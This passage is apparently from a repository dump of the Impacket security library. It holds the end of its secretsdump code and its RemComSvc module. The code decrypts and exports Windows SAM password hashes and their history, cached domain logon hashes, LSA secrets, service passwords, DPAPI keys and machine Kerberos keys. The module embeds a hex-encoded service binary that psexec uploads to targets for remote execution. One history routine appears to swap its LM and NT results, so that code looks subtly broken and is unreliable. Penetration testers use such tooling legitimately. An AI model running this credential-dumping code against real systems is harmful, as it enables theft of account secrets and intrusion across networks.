   nt_entries = self.__decode_aes_history_block(rid_int, data, nt_offset, nt_length)\n\n        if not lm_entries and lm_length:\n            blob = data[lm_offset:lm_offset + lm_length]\n            lm_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))\n        if not nt_entries and nt_length:\n            blob = data[nt_offset:nt_offset + nt_length]\n            nt_entries = self.__decrypt_history_entries_aes(rid_int, self.__scan_v_for_aes_entries(blob))\n\n        result['lm'] = nt_entries\n        result['nt'] = lm_entries\n\n        if not result['lm'] and not result['nt'] and lm_length == 0 and nt_length == 0:\n            fallback_entries = self.__scan_v_for_aes_entries(data)\n            if fallback_entries:\n                result['nt'] = self.__decrypt_history_entries_aes(rid_int, fallback_entries)\n\n        return result\n\n    def dump(self):\n        NTPASSWORD = b\"NTPASSWORD\\0\"\n        LMPASSWORD = b\"LMPASSWORD\\0\"\n\n        LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')\n        self.getHBootKey()\n        self.__historyItems = []\n\n        usersKey = r'SAM\\SAM\\Domains\\Account\\Users'\n\n        # Enumerate all the RIDs\n        rids = self.__remoteOps.enumSubKey(usersKey, throttle=self.__throttle)\n        # Remove the Names item\n        try:\n            rids.remove('Names')\n        except:\n            pass\n\n        empty_lm_hex = hexlify(ntlm.LMOWFv1('', '')).decode('utf-8')\n        empty_nt_hex = hexlify(ntlm.NTOWFv1('', '')).decode('utf-8')\n\n        for rid in rids:\n            userAccount = USER_ACCOUNT_V(self.__remoteOps.retrieveSubKey(ntpath.join(usersKey, rid), 'V', throttle=self.__throttle)[1])\n            rid = int(rid, 16)\n\n            V = userAccount['Data']\n\n            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')\n\n            if userAccount['NTHashLength'] == 0:\n                logging.error('SAM hashes extraction for user %s failed. The account doesn\\'t have hash information.' % userName)\n                continue\n\n            encNTHash = b''\n            if V[userAccount['NTHashOffset']:][2:3] == b'\\x01':\n                # Old Style hashes\n                newStyle = False\n                if userAccount['LMHashLength'] == 20:\n                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                if userAccount['NTHashLength'] == 20:\n                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n            else:\n                # New Style hashes\n                newStyle = True\n                if userAccount['LMHashLength'] == 24:\n                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])\n                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])\n\n            LOG.debug('NewStyle hashes is: %s' % newStyle)\n            if userAccount['LMHashLength'] >= 20:\n                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)\n            else:\n                lmHash = b''\n\n            if encNTHash != b'':\n                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)\n            else:\n                ntHash = b''\n\n            if lmHash == b'':\n                lmHash = ntlm.LMOWFv1('','')\n            if ntHash == b'':\n                ntHash = ntlm.NTOWFv1('','')\n\n            answer =  \"%s:%d:%s:%s:::\" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))\n            self.__itemsFound[rid] = answer\n            self.__perSecretCallback(answer)\n\n            if self.__history:\n                try:\n                    history = self.__extract_local_history(rid, newStyle, userAccount)\n                    lm_hist = history.get('lm', [])\n                    nt_hist = history.get('nt', [])\n                    while lm_hist and nt_hist and lm_hist[-1] == nt_hist[-1]:\n                        lm_hist.pop()\n                        nt_hist.pop()\n                    LOG.debug('History lengths for %s (RID %d): lm=%d nt=%d', userName, rid,\n                              len(lm_hist), len(nt_hist))\n                    count = max(len(lm_hist), len(nt_hist))\n                    for idx in range(count):\n                        lm_val = lm_hist[idx] if idx < len(lm_hist) else b''\n                        nt_val = nt_hist[idx] if idx < len(nt_hist) else b''\n                        lm_hex = hexlify(lm_val).decode('utf-8') if lm_val else empty_lm_hex\n                        nt_hex = hexlify(nt_val).decode('utf-8') if nt_val else empty_nt_hex\n                        if lm_hex == empty_lm_hex and nt_hex == empty_nt_hex:\n                            continue\n                        history_line = f\"{userName}_history{idx}:{rid}:{lm_hex}:{nt_hex}:::\"\n                        self.__historyItems.append(history_line)\n                        self.__perSecretCallback(history_line)\n                except Exception as exc:\n                    LOG.error('SAM history parsing failed for RID %d: %s', rid, exc, exc_info=True)\n\n    def export(self, baseFileName, openFileFunc = None):\n        if len(self.__itemsFound) > 0:\n            items = sorted(self.__itemsFound)\n            fileName = baseFileName + '.sam'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in items:\n                fd.write(self.__itemsFound[item] + '\\n')\n            for line in self.__historyItems:\n                fd.write(line + '\\n')\n            fd.close()\n            return fileName\n\nclass LSASecrets():\n    UNKNOWN_USER = '(Unknown User)'\n    class SECRET_TYPE:\n        LSA = 0\n        LSA_HASHED = 1\n        LSA_RAW = 2\n        LSA_KERBEROS = 3\n\n    def __init__(self, bootKey, remoteOps:RemoteOperations=None, history=False,\n                 perSecretCallback=lambda secretType, secret: _print_helper(secret), throttle=0):\n        self.__bootKey = bootKey\n        self.__LSAKey = b''\n        self.__NKLMKey = b''\n        self.__vistaStyle = True\n        self.__cryptoCommon = CryptoCommon()\n        self.__remoteOps = remoteOps\n        self.__cachedItems = []\n        self.__secretItems = []\n        self.__perSecretCallback = perSecretCallback\n        self.__history = history\n        self.__throttle = throttle\n\n    def MD5(self, data):\n        md5 = hashlib.new('md5')\n        md5.update(data)\n        return md5.digest()\n\n    def __sha256(self, key, value, rounds=1000):\n        sha = hashlib.sha256()\n        sha.update(key)\n        for i in range(rounds):\n            sha.update(value)\n        return sha.digest()\n\n    def __decryptSecret(self, key, value):\n        # [MS-LSAD] Section 5.1.2\n        plainText = b''\n\n        encryptedSecretSize = unpack('<I', value[:4])[0]\n        value = value[len(value)-encryptedSecretSize:]\n\n        key0 = key\n        for i in range(0, len(value), 8):\n            cipherText = value[:8]\n            tmpStrKey = key0[:7]\n            tmpKey = transformKey(tmpStrKey)\n            Crypt1 = DES.new(tmpKey, DES.MODE_ECB)\n            plainText += Crypt1.decrypt(cipherText)\n            key0 = key0[7:]\n            value = value[8:]\n            # AdvanceKey\n            if len(key0) < 7:\n                key0 = key[len(key0):]\n\n        secret = LSA_SECRET_XP(plainText)\n        return secret['Secret']\n\n    def __decryptHash(self, key, value, iv):\n        hmac_md5 = HMAC.new(key,iv,MD5)\n        rc4key = hmac_md5.digest()\n\n        rc4 = ARC4.new(rc4key)\n        data = rc4.encrypt(value)\n        return data\n\n    def __decryptLSA(self, value):\n        if self.__vistaStyle is True:\n            # ToDo: There could be more than one LSA Keys\n            record = LSA_SECRET(value)\n            tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])\n            plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n            record = LSA_SECRET_BLOB(plainText)\n            self.__LSAKey = record['Secret'][52:][:32]\n\n        else:\n            md5 = hashlib.new('md5')\n            md5.update(self.__bootKey)\n            for i in range(1000):\n                md5.update(value[60:76])\n            tmpKey = md5.digest()\n            rc4 = ARC4.new(tmpKey)\n            plainText = rc4.decrypt(value[12:60])\n            self.__LSAKey = plainText[0x10:0x20]\n\n    def __getLSASecretKey(self):\n        LOG.debug('Decrypting LSA Key')\n        # Let's try the key post XP\n        value = self.__remoteOps.retrieveSubKey(r'SECURITY\\Policy\\PolEKList', '', throttle=self.__throttle)\n        if value is None:\n            LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')\n            # Second chance\n            value = self.__remoteOps.retrieveSubKey(r'SECURITY\\Policy\\PolSecretEncryptionKey', '', throttle=self.__throttle)\n            self.__vistaStyle = False\n            if value is None:\n                # No way :(\n                return None\n\n        self.__decryptLSA(value[1])\n\n    def __getNLKMSecret(self):\n        LOG.debug('Decrypting NL$KM')\n        value = self.__remoteOps.retrieveSubKey(r'SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '', throttle=self.__throttle)\n        if value is None:\n            raise Exception(\"Couldn't get NL$KM value\")\n        if self.__vistaStyle is True:\n            record = LSA_SECRET(value[1])\n            tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])\n            self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n        else:\n            self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])\n\n    def __pad(self, data):\n        if (data & 0x3) > 0:\n            return data + (data & 0x3)\n        else:\n            return data\n\n    def dumpCachedHashes(self):\n\n        LOG.info('Dumping cached domain logon information (domain/username:hash)')\n\n        # Let's first see if there are cached entries\n        values = self.__remoteOps.enumValues(r'SECURITY\\Cache', throttle=self.__throttle)\n        if values is None:\n            # No cache entries\n            return\n        try:\n            # Remove unnecessary value\n            del values['NL$Control']\n        except:\n            pass\n\n        iterationCount = 10240\n\n        if values.get('NL$IterationCount', None):\n            record = values.get('NL$IterationCount')\n            del values['NL$IterationCount']\n\n            if record > 10240:\n                iterationCount = record & 0xfffffc00\n            else:\n                iterationCount = record * 1024\n\n        self.__getLSASecretKey()\n        self.__getNLKMSecret()\n        LOG.debug(f'LsaSecretKey: 0x{hexlify(self.__LSAKey).decode()}')\n        LOG.debug(f'NKLM Secret: 0x{hexlify(self.__NKLMKey).decode()}')\n\n        for key, value in values.items():\n            LOG.debug(f'Looking into {key}')\n            record = NL_RECORD(value)\n            if record['IV'] != 16 * b'\\x00':\n            #if record['UserLength'] > 0:\n                if record['Flags'] & 1 == 1:\n                    # Encrypted\n                    if self.__vistaStyle is True:\n                        plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])\n                    else:\n                        plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])\n                        pass\n                else:\n                    # Plain! Until we figure out what this is, we skip it\n                    #plainText = record['EncryptedData']\n                    continue\n                encHash = plainText[:0x10]\n                plainText = plainText[0x48:]\n                userName = plainText[:record['UserLength']].decode('utf-16le')\n                plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]\n                domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')\n                timestamp = datetime.utcfromtimestamp(getUnixTime(record['LastWrite']))\n\n                if self.__vistaStyle is True:\n                    answer = \"%s/%s:$DCC2$%s#%s#%s: (%s)\" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'), timestamp)\n                else:\n                    answer = \"%s/%s:%s:%s: (%s)\" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp)\n\n                self.__cachedItems.append(answer)\n                self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)\n\n    def __printSecret(self, name, secretItem):\n        # Based on [MS-LSAD] section 3.1.1.4\n\n        # First off, let's discard NULL secrets.\n        if len(secretItem) == 0:\n            LOG.debug('Discarding secret %s, NULL Data' % name)\n            return\n\n        # We might have secrets with zero\n        if secretItem.startswith(b'\\x00\\x00'):\n            LOG.debug('Discarding secret %s, all zeros' % name)\n            return\n\n        upperName = name.upper()\n\n        LOG.info('%s ' % name)\n\n        secret = ''\n\n        if upperName.startswith('_SC_'):\n            # Service name, a password might be there\n            # Let's first try to decode the secret\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                # We have to get the account the service\n                # runs under\n                if hasattr(self.__remoteOps, 'getServiceAccount'):\n                    account = self.__remoteOps.getServiceAccount(name[4:])\n                    if account is None:\n                        secret = self.UNKNOWN_USER + ':'\n                    else:\n                        secret =  \"%s:\" % account\n                else:\n                    # We don't support getting this info for local targets at the moment\n                    secret = self.UNKNOWN_USER + ':'\n                secret += strDecoded\n\n        elif upperName.startswith('DEFAULTPASSWORD'):\n            # defaults password for winlogon\n            # Let's first try to decode the secret\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                # We have to get the account this password is for\n                if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):\n                    account = self.__remoteOps.getDefaultLoginAccount()\n                    if account is None:\n                        secret = self.UNKNOWN_USER + ':'\n                    else:\n                        secret = \"%s:\" % account\n                else:\n                    # We don't support getting this info for local targets at the moment\n                    secret = self.UNKNOWN_USER + ':'\n                secret += strDecoded\n\n        elif upperName.startswith('ASPNET_WP_PASSWORD'):\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                secret = 'ASPNET: %s' % strDecoded\n\n        elif upperName.startswith('DPAPI_SYSTEM'):\n            # Decode the DPAPI Secrets\n            dpapi = DPAPI_SYSTEM(secretItem)\n            secret = \"dpapi_machinekey:0x{0}\\ndpapi_userkey:0x{1}\".format( hexlify(dpapi['MachineKey']).decode('latin-1'),\n                                                               hexlify(dpapi['UserKey']).decode('latin-1'))\n        elif upperName.startswith('$MACHINE.ACC'):\n            # compute MD4 of the secret.. yes.. that is the nthash? :-o\n            md4 = MD4.new()\n            md4.update(secretItem)\n            if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):\n                machine, domain = self.__remoteOps.getMachineNameAndDomain()\n                printname = \"%s\\\\%s$\" % (domain, machine)\n                secret = \"%s\\\\%s$:%s:%s:::\" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),\n                                               hexlify(md4.digest()).decode('utf-8'))\n            else:\n                printname = \"$MACHINE.ACC\"\n                secret = \"$MACHINE.ACC: %s:%s\" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),\n                                                hexlify(md4.digest()).decode('utf-8'))\n            # Attempt to calculate and print Kerberos keys\n            if not self.__printMachineKerberos(secretItem, printname):\n                LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')\n            # Always print plaintext anyway since this may be needed for some popular usecases\n            extrasecret = \"%s:plain_password_hex:%s\" % (printname, hexlify(secretItem).decode('utf-8'))\n            self.__secretItems.append(extrasecret)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)\n\n        elif re.match(r'^L\\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:\n            # Decode stored security questions\n            sid = re.search(r'^L\\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)\n            try:\n                strDecoded = secretItem.decode('utf-16le')\n                strDecoded = json.loads(strDecoded)\n            except Exception as e:\n                pass\n            else:\n                output = []\n                if strDecoded['version'] == 1:\n                    if len(strDecoded['questions']) != 0:\n                        output.append(\" - Version : %d\" % strDecoded['version'])\n                        for qk in strDecoded['questions']:\n                            output.append(\" | Question: %s\" % qk['question'])\n                            output.append(\" | |--> Answer: %s\" % qk['answer'])\n                        output = '\\n'.join(output)\n                        secret = 'Security questions for user %s: \\n%s' % (sid, output)\n                    else:\n                        secret = 'Empty security questions for user %s.' % sid\n                else:\n                    LOG.warning(\"Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it.\" % str(strDecoded['version']))\n                    LOG.warning(\"Don't forget to remove sensitive content before sending the data in a Github issue.\")\n                    secret = json.dumps(strDecoded, indent=4)\n\n        elif re.match('^SCM:{([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})}', upperName) is not None:\n            # Decode stored service password\n            sid = re.search('^SCM:{([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})}', upperName).group(1)\n            try:\n                password = secretItem.decode('utf-16le').rstrip('\\x00')\n            except:\n                pass\n            else:\n                secret = 'Password of service %s: %s' % (sid, password)\n\n        elif re.match(r'^L\\$([0-9A-Z]{3})-PRV-([0-9A-F]{32})$', upperName) is not None:\n            # Decode stored OpenGPG private key\n            keyid = re.search(r'^L\\$([0-9A-Z]{3})-PRV-([0-9A-F]{32})$', upperName).group(2)\n            try:\n                b64key = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                secret = 'OpenGPG private key %s: \\n%s' % (keyid, b64key)\n        elif re.match(r'^L\\$([0-9A-Z]{3})-PUB-([0-9A-F]{32})$', upperName) is not None:\n            # Decode stored OpenGPG public key\n            keyid = re.search(r'^L\\$([0-9A-Z]{3})-PUB-([0-9A-F]{32})$', upperName).group(2)\n            try:\n                b64key = secretItem.decode('utf-16le')\n            except:\n                pass\n            else:\n                secret = 'OpenGPG public key %s: \\n%s' % (keyid, b64key)\n\n        if secret != '':\n            printableSecret = secret\n            self.__secretItems.append(secret)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)\n        else:\n            # Default print, hexdump\n            printableSecret  = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))\n            self.__secretItems.append(printableSecret)\n            # If we're using the default callback (ourselves), we print the hex representation. If not, the\n            # user will need to decide what to do.\n            if self.__module__ == self.__perSecretCallback.__module__:\n                hexdump(secretItem)\n            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)\n\n    def __printMachineKerberos(self, rawsecret, machinename):\n        # Attempt to create Kerberos keys from machine account (if possible)\n        if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):\n            salt = self.__remoteOps.getMachineKerberosSalt()\n            if salt == b'':\n                return False\n            else:\n                allciphers = [\n                    int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),\n                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),\n                    int(constants.EncryptionTypes.des_cbc_md5.value)\n                ]\n                # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount\n                # of invalid unicode characters.\n                # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft\n                # implicitly replaces those when converting utf-16 to utf-8.\n                # When we use the same method we get the valid password -> key mapping :)\n                rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')\n                for etype in allciphers:\n                    try:\n                        key = string_to_key(etype, rawsecret, salt, None)\n                    except Exception:\n                        LOG.debug('Exception', exc_info=True)\n                        raise\n                    typename = NTDSHashes.KERBEROS_TYPE[etype]\n                    secret = \"%s:%s:%s\" % (machinename, typename, hexlify(key.contents).decode('utf-8'))\n                    self.__secretItems.append(secret)\n                    self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)\n                return True\n        else:\n            return False\n\n    def dumpSecrets(self):\n        LOG.info('Dumping LSA Secrets')\n\n        keys = self.__remoteOps.enumSubKey(r'SECURITY\\Policy\\Secrets', throttle=self.__throttle)\n\n        if keys is None:\n            # No entries\n            return\n        try:\n            # This key has no use for LSASecrets and is only used for MSCache decryption\n            keys.remove('NL$KM')\n        except:\n            pass\n\n        try:\n            # Remove unnecessary value\n            keys.remove('NL$Control')\n        except:\n            pass\n\n        if self.__LSAKey == b'':\n            self.__getLSASecretKey()\n\n        for key in keys:\n            LOG.debug(f'Looking into {key}')\n            valueTypeList = ['CurrVal']\n            # Check if old LSA secrets values are also need to be shown\n            if self.__history:\n                valueTypeList.append('OldVal')\n\n            for valueType in valueTypeList:\n                try:\n                    value = self.__remoteOps.retrieveSubKey(f'SECURITY\\\\Policy\\\\Secrets\\\\{key}\\\\{valueType}', '', throttle=self.__throttle)\n                except Exception as e:\n                    if logging.getLogger().level == logging.DEBUG:\n                        import traceback\n                        traceback.print_exc()\n                    print(str(e))\n                    continue\n                if value is not None and value[1] != 0:\n                    if self.__vistaStyle is True:\n                        record = LSA_SECRET(value[1])\n                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])\n                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n                        record = LSA_SECRET_BLOB(plainText)\n                        secret = record['Secret']\n                    else:\n                        secret = self.__decryptSecret(self.__LSAKey, value[1])\n\n                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and\n                    # also be consistent with NTDS history\n                    if valueType == 'OldVal':\n                        key += '_history'\n                    self.__printSecret(key, secret)\n\n    def getSecret(self, key):\n        LOG.info(f'Dumping LSA secret: {key}')\n\n        if self.__LSAKey == b'':\n            self.__getLSASecretKey()\n\n        valueTypeList = ['CurrVal']\n        # Check if old LSA secrets values are also need to be shown\n        if self.__history:\n            valueTypeList.append('OldVal')\n\n        for valueType in valueTypeList:\n            try:\n                value = self.__remoteOps.retrieveSubKey(f'SECURITY\\\\Policy\\\\Secrets\\\\{key}\\\\{valueType}', '', throttle=self.__throttle)\n            except Exception as e:\n                if logging.getLogger().level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n                print(str(e))\n                continue\n            if value is not None and value[1] != 0:\n                if self.__vistaStyle is True:\n                    record = LSA_SECRET(value[1])\n                    tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])\n                    plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])\n                    record = LSA_SECRET_BLOB(plainText)\n                    secret = record['Secret']\n                else:\n                    secret = self.__decryptSecret(self.__LSAKey, value[1])\n\n                # If this is an OldVal secret, let's append '_history' to be able to distinguish it and\n                # also be consistent with NTDS history\n                if valueType == 'OldVal':\n                    key += '_history'\n                return secret\n\n    def exportSecrets(self, baseFileName, openFileFunc = None):\n        if len(self.__secretItems) > 0:\n            fileName = baseFileName + '.secrets'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in self.__secretItems:\n                fd.write(item + '\\n')\n            fd.close()\n            return fileName\n\n    def exportCached(self, baseFileName, openFileFunc = None):\n        if len(self.__cachedItems) > 0:\n            fileName = baseFileName + '.cached'\n            fd = openFile(fileName, openFileFunc=openFileFunc)\n            for item in self.__cachedItems:\n                fd.write(item + '\\n')\n            fd.close()\n            return fileName\n"
  },
  {
    "path": "impacket/examples/remcomsvc.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   REMCOMSVC library. It provides a way to retrieve the RemComSvc binary file to be\n#   uploaded to the target machine. This is used by psexec and smbrelayx.\n#\n#   If you want to compile this file yourself, get the source code from\n#   https://github.com/kavika13/RemCom, compile RemComSvc project, and\n#   dump the binary (hexlify) in this file, on the REMCOMSVC variable\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Copyright and licensing note in remcomsvc.cpp:\n#\n# Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] \n# All rights are reserved.\n#\n# Permission to use, copy, modify, and distribute this software \n# for any purpose and without any fee is hereby granted, \n# provided this notice is included in its entirety in the \n# documentation and in the source files.\n# \n# This software and any related documentation is provided \"as is\" \n# without any warranty of any kind, either express or implied, \n# including, without limitation, the implied warranties of \n# merchantability or fitness for a particular purpose. The entire \n# risk arising out of use or performance of the software remains \n# with you. \n# \n# $Author:\tTalha Tariq [ talha.tariq@gmail.com ] \n# \t\tuses some code from xCmd by Zoltan Csizmadia\n# $Revision:\tTalha Tariq [ talha.tariq@gmail.com ] \t\n# $Revision:\tAndres Ederra \n#\n\nimport binascii\n\nclass RemComSvc:\n    def __init__(self):\n        self.binary = binascii.unhexlify(REMCOMSVC)\n        self.offset = 0\n\n    def read(self, amount):\n        # Returns amount of bytes and updates the offset within REMCOMSVC variable\n        data =  self.binary[self.offset:self.offset+amount]\n        self.offset += amount\n        return data\n\n    def seek(self, offset):\n        self.offset = offset\n\n    def close(self):\n        return\n        \n\nREMCOMSVC= b'4d5a90000300000004000000ffff0000b800000000000000400000000000' \\\nb'000000000000000000000000000000000000000000000000000000000000d80000000e' \\\nb'1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f74206265' \\\nb'2072756e20696e20444f53206d6f64652e0d0d0a24000000000000008030ee41c45180' \\\nb'12c4518012c4518012cd291512d4518012cd290312a4518012e397fb12c1518012c451' \\\nb'8112b4518012cd290412e5518012cd291112c551801252696368c45180120000000000' \\\nb'0000000000000000000000504500004c010500b1cf23500000000000000000e0000201' \\\nb'0b010900009400000044000000000000a61d00000010000000b0000000004000001000' \\\nb'0000020000050000000000000005000000000000000030010000040000bc3801000300' \\\nb'40810000100000100000000010000010000000000000100000000000000000000000c4' \\\nb'c800003c00000000100100b40100000000000000000000000000000000000000200100' \\\nb'1409000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0080c4000040000000000000000000000000b000008801000000000000000000000000' \\\nb'00000000000000000000000000002e74657874000000c4930000001000000094000000' \\\nb'040000000000000000000000000000200000602e726461746100009821000000b00000' \\\nb'0022000000980000000000000000000000000000400000402e646174610000002c2e00' \\\nb'0000e000000010000000ba0000000000000000000000000000400000c02e7273726300' \\\nb'0000b4010000001001000002000000ca0000000000000000000000000000400000402e' \\\nb'72656c6f630000a40f0000002001000010000000cc0000000000000000000000000000' \\\nb'4000004200000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'0000000000000000000000000000000000000000000000000000000000000000000000' \\\nb'00000000000000000000000000005357683f000f0033db5353ff1520b040008bf83bfb' \\\nb'746a5668ff010f0068c8b1400057ff1524b040008bf03bf3750b57ff1528b040005e5f' \\\nb'5bc356ff152cb04000a100ef40006804ef400050c70508ef400001000000891d18ef40' \\\nb'00891d1cef4000891d10ef4000891d14ef4000ff1530b04000568b3528b04000ffd657' \\\nb'ffd65e5f5bc3cccccccccccccccccccccccc558bec8b450883e801740da100ef400068' \\\nb'04ef400050eb348b0d20ef400051ff1578b040008b1500ef400033c06804ef4000a310' \\\nb'ef4000c70508ef400001000000a318ef4000a31cef400052ff1530b0400085c07506ff' \\\nb'1580b040005dc20400558bec83ec30a100e0400033c58945fc5356578b7d08897de0ff' \\\nb'1564b0400033db505368ffff1f00895de8c745ec3200000033f6885df4885df5885df6' \\\nb'885df7885df8c645f905895ddc895de4895df0891fff1568b040008d4de8516a085089' \\\nb'45d8ff150cb0400085c0750eff1580b040008945f0e9380100008b55ec5253ff156cb0' \\\nb'40008bf03bf3750eff1580b040008945f0e9190100008b4dec8b55e88b1d10b040008d' \\\nb'45ec5051566a0252ffd38b3d80b0400085c07553ffd783f87a740affd78945f0e9e700' \\\nb'000056ff1570b040008b45ec506a00ff156cb040008bf085f6750affd78945f0e9c400' \\\nb'00008b55ec8b45e88d4dec5152566a0250ffd385c0750affd78945f0e9a50000008b1d' \\\nb'14b040008d4ddc516a006a006a006a006a006a006a006a046a018d55f452ffd385c075' \\\nb'07ffd78945f0eb788d45e4506a006a006a006a006a006a006a006a066a018d4df451ff' \\\nb'd385c07507ffd78945f0eb5133db391e763d8d7e048d9b000000008b4ddc8b078b5704' \\\nb'51508945d08955d4ff1518b0400085c0757b8b55e48b45d05250ff1518b0400085c075' \\\nb'744383c7083b1e72cc8b45e08338007506c700010000008b45e48b3d1cb0400085c074' \\\nb'0350ffd78b45dc85c0740350ffd785f6740756ff1570b040008b45e88b3574b0400085' \\\nb'c0740350ffd68b45d885c0740350ffd68b4dfc8b45f05f5e33cd5be8790500008be55d' \\\nb'c38b4de0c70100000000eba28b55e0c70201000000eb97cccccccccc5633f668901040' \\\nb'0068d4b14000c70504ef400030000000c70508ef400002000000c7050cef4000010000' \\\nb'00893510ef4000893514ef4000893518ef400089351cef4000ff1508b04000a300ef40' \\\nb'003bc6744e6804ef400050c70508ef400004000000893518ef400089351cef4000ff15' \\\nb'30b0400085c0750aff1580b040005ec2080056565656ff1560b0400056566830184000' \\\nb'a320ef4000e8cd05000083c40c5ec20800cccccccccccccccccccccccc558bec83ec14' \\\nb'8d45fc50c745ecc8b14000c745f010134000c745f400000000c745f800000000c745fc' \\\nb'01000000e8fefcffff83c404837dfc00750d68dcb14000e82e06000083c4048d4dec51' \\\nb'ff1504b040008be55dc3cccccccccccccccccccc558bec83ec20535633c0578945f889' \\\nb'45fc6a018d45e050c745f400000000ff1534b040006a006a006a018d4de051ff1500b0' \\\nb'40008b750c8b7d08814e2c0001000083c8ff89463c8946388946408b8708110000508d' \\\nb'9f0c110000536834b240008d55e06824b240006830ef4000c745f40c0000008955f8c7' \\\nb'45fc01000000e8550600008b8f0811000051536814b240006824b240006838f04000e8' \\\nb'390600008b970811000052536804b240006824b240006840f14000e81d0600008b3d58' \\\nb'b0400083c43c8d45f4506aff6a006a0068ff0000006a046a026830ef4000ffd78d4df4' \\\nb'516aff6a006a0068ff0000006a046a026840f1400089463cffd78d55f4526aff6a006a' \\\nb'0068ff0000008946406a046a016838f04000ffd78b4e3c89463883f9ff7432837e40ff' \\\nb'742c83f8ff74278b3d5cb040006a0051ffd78b46386a0050ffd78b4e406a0051ffd75f' \\\nb'5eb8010000005b8be55dc38b3d74b0400051ffd78b564052ffd78b463850ffd75f5e33' \\\nb'c05b8be55dc3cccccccccccccccccccccccccc558bec81ec60010000a100e0400033c5' \\\nb'8945fc568b7508578b7d0c6a448d85a0feffff6a0050e8b50500008d8da0feffff5156' \\\nb'c785a0feffff44000000e83efeffff83c41485c075155fb8020000005e8b4dfc33cde8' \\\nb'700200008be55dc353568d95f8feffff6844b2400052c70700000000c785f4feffff00' \\\nb'000000e8d70400000fbe860010000083c40c8d8e00100000f7d81bc023c18d8de4feff' 